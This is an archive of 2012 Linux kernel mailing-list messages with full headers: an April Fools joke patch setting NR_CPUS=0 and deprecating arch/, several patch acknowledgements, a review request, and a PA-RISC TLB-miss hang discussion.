 -0.0 T_RP_MATCHES_RCVD      Envelope sender domain matches handover relay
 domain
 -1.9 BAYES_00               BODY: Bayes spam probability is 0 to 1%
 [score: 0.0000]
X-BeenThere: linux-arm-kernel@lists.infradead.org
X-Mailman-Version: 2.1.14
Precedence: list
List-Id: <linux-arm-kernel.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-arm-kernel/>
List-Post: <mailto:linux-arm-kernel@lists.infradead.org>
List-Help: <mailto:linux-arm-kernel-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=subscribe>
Original-Sender: linux-arm-kernel-bounces@lists.infradead.org
Errors-To: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.arm.kernel:159928 gmane.linux.ports.mips.general:33959 gmane.linux.ports.ia64:22192 gmane.linux.ports.parisc:4273 gmane.linux.ports.hexagon:425 gmane.linux.ports.sh.devel:14247 gmane.linux.kernel:1276195 gmane.linux.ports.alpha:1781 gmane.linux.ports.sparc:16010 gmane.linux.hardware.blackfin.kernel.devel:6382 gmane.linux.ports.ppc64.devel:81373
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.arm.kernel/159928>

On Sun, Apr 01, 2012 at 07:34:55PM +0200, Thomas Gleixner wrote:
> On Sat, 31 Mar 2012, Russell King - ARM Linux wrote:
> 
> > On Sun, Apr 01, 2012 at 12:33:21AM +0800, Paul E. McKenney wrote:
> > > Although there have been numerous complaints about the complexity of
> > > parallel programming (especially over the past 5-10 years), the plain
> > > truth is that the incremental complexity of parallel programming over
> > > that of sequential programming is not as large as is commonly believed.
> > > Despite that you might have heard, the mind-numbing complexity of modern
> > > computer systems is not due so much to there being multiple CPUs, but
> > > rather to there being any CPUs at all.  In short, for the ultimate in
> > > computer-system simplicity, the optimal choice is NR_CPUS=0.
> > > 
> > > This commit therefore limits kernel builds to zero CPUs.  This change
> > > has the beneficial side effect of rendering all kernel bugs harmless.
> > > Furthermore, this commit enables additional beneficial changes, for
> > > example, the removal of those parts of the kernel that are not needed
> > > when there are zero CPUs.
> > > 
> > > Signed-off-by: Paul E. McKenney <paulmck@linux.vnet.ibm.com>
> > > Reviewed-by: Thomas Gleixner <tglx@linutronix.de>
> > 
> > Great work, but I don't think you've gone far enough with this.
> > 
> > What would really help is if you could consolidate all these NR_CPUS
> > definitions into one place so we don't have essentially the same thing
> > scattered across all these architectures.  We're already doing this on
> > ARM across our platforms, and its about time such an approach was taken
> > across the entire kernel tree.
> > 
> > It looks like the MIPS solution would be the best one to pick.
> > Could you rework your patch to do this please?
> > 
> > While you're at it, you might like to consider that having zero CPUs
> > makes all this architecture support redundant, so maybe you've missed
> > a trick there - according to my count, we could get rid of almost 3
> > million lines of code from arch.  We could replace all that with a
> > single standard implementation.
> 
> For a first step we can deprecated arch/ and make it depend on
> CONFIG_STAGING. That way we can have it around a bit for sentimental
> reasons w/o having a lot of churn.
> 
> Suggested-by: Russell King <rmk+kernel@arm.linux.org.uk>
> Signed-off-by: Thomas Gleixner <tglx@linutronix.de>

;-) ;-) ;-)

Reviewed-by: Paul E. McKenney <paulmck@linux.vnet.ibm.com>

							Thanx, Paul

> Index: tip/Makefile
> ===================================================================
> --- tip.orig/Makefile
> +++ tip/Makefile
> @@ -564,7 +564,9 @@ else
>  KBUILD_CFLAGS	+= -O2
>  endif
> 
> +ifdef CONFIG_ARCH_SUPPORT
>  include $(srctree)/arch/$(SRCARCH)/Makefile
> +endif
> 
>  ifneq ($(CONFIG_FRAME_WARN),0)
>  KBUILD_CFLAGS += $(call cc-option,-Wframe-larger-than=${CONFIG_FRAME_WARN})
> Index: tip/drivers/staging/Kconfig
> ===================================================================
> --- tip.orig/drivers/staging/Kconfig
> +++ tip/drivers/staging/Kconfig
> @@ -1,6 +1,10 @@
> +config ARCH_SUPPORT
> +	bool
> +
>  menuconfig STAGING
>  	bool "Staging drivers"
>  	default n
> +	select ARCH_SUPPORT
>  	---help---
>  	  This option allows you to select a number of drivers that are
>  	  not of the "normal" Linux kernel quality level.  These drivers
> Index: tip/Documentation/feature-removal-schedule.txt
> ===================================================================
> --- tip.orig/Documentation/feature-removal-schedule.txt
> +++ tip/Documentation/feature-removal-schedule.txt
> @@ -537,3 +537,13 @@ When:	3.6
>  Why:	setitimer is not returning -EFAULT if user pointer is NULL. This
>  	violates the spec.
>  Who:	Sasikantha Babu <sasikanth.v19@gmail.com>
> +
> +-----------------------------
> +
> +What:	Remove arch
> +When:	April 1st 2013
> +Why:    NR_CPUS=0 made arch/ obsolete. Keep it around a bit for
> +	sentimental reasons.
> +Who:	paulmck,tglx.rmk
> +
> +	
> 

From - Thu Nov 08 21:08:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chris Metcalf <cmetcalf@tilera.com>
Newsgroups: gmane.linux.ports.hexagon,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH 4/4] tile/CPU hotplug: Add missing call to notify_cpu_starting()
Date: Tue, 3 Apr 2012 15:48:12 -0400
Lines: 17
Approved: news@gmane.org
Message-ID: <4F7B53FC.7030606@tilera.com>
References: <20120322112735.17063.21791.stgit@srivatsabhat.in.ibm.com> <20120322112905.17063.88829.stgit@srivatsabhat.in.ibm.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1333482506 18657 80.91.229.3 (3 Apr 2012 19:48:26 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 3 Apr 2012 19:48:26 +0000 (UTC)
Cc: <rkuo@codeaurora.org>, <tglx@linutronix.de>,
	<linas@codeaurora.org>, <mingo@elte.hu>, <a.p.zijlstra@chello.nl>,
	<dhowells@redhat.com>, <yasutake.koichi@jp.panasonic.com>,
	<akpm@linux-foundation.org>, <benh@kernel.crashing.org>,
	<jesper.nilsson@axis.com>, <linux@arm.linux.org.uk>,
	<jejb@parisc-linux.org>, <deller@gmx.de>, <vapier@gentoo.org>,
	<linux-hexagon@vger.kernel.org>, <linux-kernel@vger.kernel.org>,
	<linux-am33-list@redhat.com>, <linux-parisc@vger.kernel.org>
To: "Srivatsa S. Bhat" <srivatsa.bhat@linux.vnet.ibm.com>
Original-X-From: linux-hexagon-owner@vger.kernel.org Tue Apr 03 21:48:21 2012
Return-path: <linux-hexagon-owner@vger.kernel.org>
Envelope-to: glphk-linux-hexagon@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-hexagon-owner@vger.kernel.org>)
	id 1SF9iF-0005zZ-5K
	for glphk-linux-hexagon@plane.gmane.org; Tue, 03 Apr 2012 21:48:19 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753765Ab2DCTsS (ORCPT <rfc822;glphk-linux-hexagon@m.gmane.org>);
	Tue, 3 Apr 2012 15:48:18 -0400
Original-Received: from usmamail.tilera.com ([206.83.70.75]:14771 "EHLO
	USMAMAIL.TILERA.COM" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753423Ab2DCTsR (ORCPT
	<rfc822;linux-hexagon@vger.kernel.org>);
	Tue, 3 Apr 2012 15:48:17 -0400
Original-Received: from [192.168.1.104] (24.34.76.130) by
 USMAExch2.tad.internal.tilera.com (10.3.0.33) with Microsoft SMTP Server id
 14.0.694.0; Tue, 3 Apr 2012 15:48:16 -0400
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:11.0) Gecko/20120327 Thunderbird/11.0.1
In-Reply-To: <20120322112905.17063.88829.stgit@srivatsabhat.in.ibm.com>
X-Enigmail-Version: 1.4
Original-Sender: linux-hexagon-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-hexagon.vger.kernel.org>
X-Mailing-List: linux-hexagon@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.hexagon:427 gmane.linux.kernel:1277221 gmane.linux.ports.parisc:4274
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.hexagon/427>

On 3/22/2012 7:29 AM, Srivatsa S. Bhat wrote:
> The scheduler depends on receiving the CPU_STARTING notification, without
> which we end up into a lot of trouble. So add the missing call to
> notify_cpu_starting() in the bringup code.
>
> Signed-off-by: Srivatsa S. Bhat <srivatsa.bhat@linux.vnet.ibm.com>
> ---
>
>  arch/tile/kernel/smpboot.c |    2 ++
>  1 files changed, 2 insertions(+), 0 deletions(-)

Thanks!  Taken into the tile tree.

-- 
Chris Metcalf, Tilera Corp.
http://www.tilera.com


From - Thu Nov 08 21:08:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Kuo <rkuo@codeaurora.org>
Newsgroups: gmane.linux.ports.hexagon,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH 1/4] hexagon/CPU hotplug: Add missing call to
 notify_cpu_starting()
Date: Tue, 3 Apr 2012 16:09:38 -0500
Lines: 22
Approved: news@gmane.org
Message-ID: <20120403210938.GA20952@codeaurora.org>
References: <20120322112735.17063.21791.stgit@srivatsabhat.in.ibm.com>
 <20120322112805.17063.19393.stgit@srivatsabhat.in.ibm.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1333487393 24031 80.91.229.3 (3 Apr 2012 21:09:53 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 3 Apr 2012 21:09:53 +0000 (UTC)
Cc: tglx@linutronix.de, linas@codeaurora.org, mingo@elte.hu,
	a.p.zijlstra@chello.nl, dhowells@redhat.com,
	yasutake.koichi@jp.panasonic.com, akpm@linux-foundation.org,
	benh@kernel.crashing.org, jesper.nilsson@axis.com,
	cmetcalf@tilera.com, linux@arm.linux.org.uk, jejb@parisc-linux.org,
	deller@gmx.de, vapier@gentoo.org, linux-hexagon@vger.kernel.org,
	linux-kernel@vger.kernel.org, linux-am33-list@redhat.com,
	linux-parisc@vger.kernel.org
To: "Srivatsa S. Bhat" <srivatsa.bhat@linux.vnet.ibm.com>
Original-X-From: linux-hexagon-owner@vger.kernel.org Tue Apr 03 23:09:48 2012
Return-path: <linux-hexagon-owner@vger.kernel.org>
Envelope-to: glphk-linux-hexagon@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-hexagon-owner@vger.kernel.org>)
	id 1SFAz3-0000zL-Bh
	for glphk-linux-hexagon@plane.gmane.org; Tue, 03 Apr 2012 23:09:45 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755220Ab2DCVJo (ORCPT <rfc822;glphk-linux-hexagon@m.gmane.org>);
	Tue, 3 Apr 2012 17:09:44 -0400
Original-Received: from wolverine02.qualcomm.com ([199.106.114.251]:1464 "EHLO
	wolverine02.qualcomm.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751552Ab2DCVJn (ORCPT
	<rfc822;linux-hexagon@vger.kernel.org>);
	Tue, 3 Apr 2012 17:09:43 -0400
X-IronPort-AV: E=McAfee;i="5400,1158,6669"; a="176309982"
Original-Received: from pdmz-ns-mip.qualcomm.com (HELO mostmsg01.qualcomm.com) ([199.106.114.10])
  by wolverine02.qualcomm.com with ESMTP/TLS/ADH-AES256-SHA; 03 Apr 2012 14:09:40 -0700
Original-Received: from codeaurora.org (pdmz-snip-v218.qualcomm.com [192.168.218.1])
	by mostmsg01.qualcomm.com (Postfix) with ESMTPA id B033C10004AA;
	Tue,  3 Apr 2012 14:09:39 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20120322112805.17063.19393.stgit@srivatsabhat.in.ibm.com>
User-Agent: Mutt/1.5.20 (2009-06-14)
Original-Sender: linux-hexagon-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-hexagon.vger.kernel.org>
X-Mailing-List: linux-hexagon@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.hexagon:429 gmane.linux.kernel:1277243 gmane.linux.ports.parisc:4275
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.hexagon/429>

On Thu, Mar 22, 2012 at 04:58:25PM +0530, Srivatsa S. Bhat wrote:
> The scheduler depends on receiving the CPU_STARTING notification, without
> which we end up into a lot of trouble. So add the missing call to
> notify_cpu_starting() in the bringup code.
> 
> Signed-off-by: Srivatsa S. Bhat <srivatsa.bhat@linux.vnet.ibm.com>
> ---
> 
>  arch/hexagon/kernel/smp.c |    5 +++++
>  1 files changed, 5 insertions(+), 0 deletions(-)
> 

Tested in my tree; thanks!


Acked-by: Richard Kuo <rkuo@codeaurora.org>


-- 

Sent by an employee of the Qualcomm Innovation Center, Inc.
The Qualcomm Innovation Center, Inc. is a member of the Code Aurora Forum.

From - Thu Nov 08 21:08:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kautuk Consul <consul.kautuk@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH 17/19 v2] parisc/mm/fault.c: Port OOM changes to do_page_fault
Date: Wed, 4 Apr 2012 20:42:08 +0530
Lines: 10
Approved: news@gmane.org
Message-ID: <CAFPAmTSps=FvdS7jyduPbyQOmr45SSY6GWL1kGtTiitZBPQViA@mail.gmail.com>
References: <1333195588-5490-1-git-send-email-consul.kautuk@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: dough.gmane.org 1333552333 25010 80.91.229.3 (4 Apr 2012 15:12:13 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 4 Apr 2012 15:12:13 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: jejb@parisc-linux.org, Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Apr 04 17:12:12 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SFRsY-00050f-S4
	for glpp-linux-parisc@plane.gmane.org; Wed, 04 Apr 2012 17:12:11 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756765Ab2DDPMJ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 4 Apr 2012 11:12:09 -0400
Original-Received: from mail-gy0-f174.google.com ([209.85.160.174]:41241 "EHLO
	mail-gy0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756379Ab2DDPMJ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 4 Apr 2012 11:12:09 -0400
Original-Received: by ghrr11 with SMTP id r11so197614ghr.19
        for <linux-parisc@vger.kernel.org>; Wed, 04 Apr 2012 08:12:08 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type;
        bh=8UEUp+9JSH71V/DMH3oft5GuQkO3/2vhAfnSdrRVfpc=;
        b=pGU9dyK1OzffmDubO/7PkdVgp55j2pgz6H3xcPh4xEEH4uS8icTACEXSiwqiPI1O50
         sZLVA4+Br/RSherR7WCN42BLc/ys8pCU03oNvAU8hpa6SWl8fSaX0oJtnYmRR4o3unQ4
         C9SleVJKlYY0e1adhxO8cG/+oGXiZlOLn8A9iMT2Imtl6Fv5rIrbyKSgFtbbwxFJvo3P
         8LD7U+Az7iLFfqAWpAX/kl9XwvzH0HUvjUMlwVk2OzTFFK3vMhWIIttGjBbYPhmJ18+N
         Fg4GX7fvw+f6DTOGJdsA1H5SrzX0xFKfSQRvdD3RoRW79cENTIg4IthXM0F+Xe1Q5EMg
         b5SQ==
Original-Received: by 10.236.201.233 with SMTP id b69mr15158986yho.71.1333552328658;
 Wed, 04 Apr 2012 08:12:08 -0700 (PDT)
Original-Received: by 10.146.167.12 with HTTP; Wed, 4 Apr 2012 08:12:08 -0700 (PDT)
In-Reply-To: <1333195588-5490-1-git-send-email-consul.kautuk@gmail.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4276
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4276>

Hi,

Did anyone get a chance to review this patch ?

This is v2 of this patch set now.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH 25/40] parisc: Use set_current_blocked() and
 block_sigmask()
Date: Fri, 6 Apr 2012 10:59:15 -0400
Lines: 26
Approved: news@gmane.org
Message-ID: <20120406145915.GC15318@bombadil.infradead.org>
References: <1329219673-28711-1-git-send-email-matt@console-pimps.org>
 <1329219673-28711-26-git-send-email-matt@console-pimps.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1333724367 32243 80.91.229.3 (6 Apr 2012 14:59:27 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 6 Apr 2012 14:59:27 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, Oleg Nesterov <oleg@redhat.com>,
	Andrew Morton <akpm@linux-foundation.org>,
	linux-kernel@vger.kernel.org,
	Matt Fleming <matt.fleming@intel.com>,
	Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: Matt Fleming <matt@console-pimps.org>
Original-X-From: linux-arch-owner@vger.kernel.org Fri Apr 06 16:59:24 2012
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1SGAdG-0000X5-Jg
	for glka-linux-arch@plane.gmane.org; Fri, 06 Apr 2012 16:59:22 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757343Ab2DFO7V (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Fri, 6 Apr 2012 10:59:21 -0400
Original-Received: from 173-166-109-252-newengland.hfc.comcastbusiness.net ([173.166.109.252]:39686
	"EHLO bombadil.infradead.org" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754840Ab2DFO7V (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Fri, 6 Apr 2012 10:59:21 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.76 #1 (Red Hat Linux))
	id 1SGAd9-0008Qf-GP; Fri, 06 Apr 2012 14:59:15 +0000
Content-Disposition: inline
In-Reply-To: <1329219673-28711-26-git-send-email-matt@console-pimps.org>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:13475 gmane.linux.kernel:1278345 gmane.linux.ports.parisc:4277
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/13475>

On Tue, Feb 14, 2012 at 11:40:58AM +0000, Matt Fleming wrote:
> From: Matt Fleming <matt.fleming@intel.com>
> 
> As described in e6fa16ab ("signal: sigprocmask() should do
> retarget_shared_pending()") the modification of current->blocked is
> incorrect as we need to check whether the signal we're about to block
> is pending in the shared queue.
> 
> Also, use the new helper function introduced in commit 5e6292c0f28f
> ("signal: add block_sigmask() for adding sigmask to current->blocked")
> which centralises the code for updating current->blocked after
> successfully delivering a signal and reduces the amount of duplicate
> code across architectures. In the past some architectures got this
> code wrong, so using this helper function should stop that from
> happening again.
> 
> Cc: Oleg Nesterov <oleg@redhat.com>
> Cc: Kyle McMartin <kyle@mcmartin.ca>
> Cc: Helge Deller <deller@gmx.de>
> Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
> Cc: linux-parisc@vger.kernel.org
> Signed-off-by: Matt Fleming <matt.fleming@intel.com>

Nice cleanups Matt!

Acked-by: Kyle McMartin <kyle@mcmartin.ca>

From - Thu Nov 08 21:08:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: TLB Miss Bug?
Date: Sat, 7 Apr 2012 17:54:22 -0400
Lines: 84
Approved: news@gmane.org
Message-ID: <BLU0-SMTP54BD24ACF54C1AEF3CCB6997310@phx.gbl>
References: <BLU0-SMTP178D0B9C9992607985308C97CE0@phx.gbl> <1322277527.7362.12.camel@dabdike.cust.hotspot.t-mobile.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1333835685 14345 80.91.229.3 (7 Apr 2012 21:54:45 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 7 Apr 2012 21:54:45 +0000 (UTC)
Cc: linux-parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Apr 07 23:54:42 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SGdaj-0005H4-HH
	for glpp-linux-parisc@plane.gmane.org; Sat, 07 Apr 2012 23:54:41 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752616Ab2DGVyk (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 7 Apr 2012 17:54:40 -0400
Original-Received: from blu0-omc4-s8.blu0.hotmail.com ([65.55.111.147]:17493 "EHLO
	blu0-omc4-s8.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752417Ab2DGVyk (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 7 Apr 2012 17:54:40 -0400
Original-Received: from BLU0-SMTP54 ([65.55.111.135]) by blu0-omc4-s8.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sat, 7 Apr 2012 14:54:39 -0700
X-Originating-IP: [69.158.168.8]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.168.8]) by BLU0-SMTP54.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sat, 7 Apr 2012 14:54:38 -0700
In-Reply-To: <1322277527.7362.12.camel@dabdike.cust.hotspot.t-mobile.com>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 07 Apr 2012 21:54:39.0039 (UTC) FILETIME=[079F6CF0:01CD1509]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4278
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4278>

On 25-Nov-11, at 10:18 PM, James Bottomley wrote:

> On Thu, 2011-11-24 at 08:16 -0500, John David Anglin wrote:
>> As GCC has gotten larger with time, I started seeing hangs in the
>> stage1 compilers when they are compiled
>> with no optimization.  This first was seen with gnat1.  I now see it
>> with cc1 and cc1plus.
>>
>> The hangs always occur at the same place (ldw,s instruction) in the
>> GCC casesi insn pattern:
>>
>> (gdb) disass $pc-16,$pc+16
>> Dump of assembler code from 0x45fbec4 to 0x45fbee4:
>> 0x045fbec4 <cpp_spell_token+68>:	ldw 0(ret0),ret0
>> 0x045fbec8 <cpp_spell_token+72>:	cmpib,<<,n 3,ret0,0x45fc168
>> <cpp_spell_token+744>
>> 0x045fbecc <cpp_spell_token+76>:	ldil L%45fb800,r19
>> 0x045fbed0 <cpp_spell_token+80>:	ldo 6dc(r19),r19
>> => 0x045fbed4 <cpp_spell_token+84>:	ldw,s ret0(r19),r19
>> 0x045fbed8 <cpp_spell_token+88>:	bv,n r0(r19)
>> 0x045fbedc <cpp_spell_token+92>:	# 45fbeec
>> 0x045fbee0 <cpp_spell_token+96>:	# 45fbfc8
>>
>> What is interesting about this instruction is that it usually  
>> involves
>> an I and D access to the same page.
>
>> strace shows nothing for process.  gdb can't single step from the
>> instruction.  A break at the next
>> instruction is never hit.
>>
>> I see the following with sysrq-trigger:
>>
>> cc1plus R running task 0 16932 16931 0x00000010
>> Backtrace:
>> timer_interrupt(CPU 1): delayed! cycles 77ED56D2 rem BD46F next/now
>> 411D1E1AE13C/411D1E0F0CCD
>>
>> Note the delayed timer interrupt "always" seems to occur.  Also, see
>> that the program isn't running kernel
>> code.
>>
>> So, my theory is there is a bug in the TLB miss handling.  Somehow a
>> data miss ejects the instruction entry,
>> and we get into a loop inserting I and D TLB entries.  Sometimes the
>> machine gets out of the loop but it takes
>> hours.
>
> I'm still a bit Jetlagged from a customer trip to Germany, but this
> looks entirely possible: Appendix F says that a later TLB insertion
> purges an earlier one, so I'd say in a combined I/D TLB inserting
> consecutive I and D entries purges the I.
>
> It looks like a fix might be to insert TLB entries supporting both  
> data
> and instruction access in the combined TLB case.


I'm still seeing this.  I have the strong feeling that this depends in  
some
way on the size of the mapping.  I only see this with cc1 and cc1plus
when they are compiled in stage1 without optimization.  It doesn't
occur when they are are compiled with -O1.  There is a huge difference
between the size of the application maps.  For example, the executable
maps for cc1plus are 81540 kB and 12722 kB at -O0 and -O1, respectively.

The assembly code sequence is common to every "switch" statement.
Yet, the hang always occurs at exactly the same point.

I agree with your comment about the replacement, but as far as I can
tell, there is no difference in how we build the entries for data and
instruction access.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:08:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.comp.lib.glibc.ports,gmane.linux.ports.parisc
Subject: hppa: glibc and gcc 4.6, "error: _rtld_global_ro causes a section type conflict"
Date: Sun, 15 Apr 2012 11:00:00 -0400
Lines: 1416
Approved: news@gmane.org
Message-ID: <CADZpyix39LFL7MccuovarhdbpVCO8aSmBMH1hjK+4bn=ZYsXaA@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary=e89a8ff1c3fcba677204bdb8f542
X-Trace: dough.gmane.org 1334502041 1597 80.91.229.3 (15 Apr 2012 15:00:41 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 15 Apr 2012 15:00:41 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>, libc-ports@sourceware.org
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: libc-ports-return-2418-gclgp-libc-ports=m.gmane.org@sourceware.org Sun Apr 15 17:00:40 2012
Return-path: <libc-ports-return-2418-gclgp-libc-ports=m.gmane.org@sourceware.org>
Envelope-to: gclgp-libc-ports@plane.gmane.org
Original-Received: from server1.sourceware.org ([209.132.180.131] helo=sourceware.org)
	by plane.gmane.org with smtp (Exim 4.69)
	(envelope-from <libc-ports-return-2418-gclgp-libc-ports=m.gmane.org@sourceware.org>)
	id 1SJQwO-00014P-EI
	for gclgp-libc-ports@plane.gmane.org; Sun, 15 Apr 2012 17:00:37 +0200
Comment: DKIM? See http://www.dkim.org
DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed;
	d=sourceware.org; s=default; x=1335106836; h=Comment:
	DomainKey-Signature:Received:Received:Received:Received:
	MIME-Version:Received:Received:Date:Message-ID:Subject:From:To:
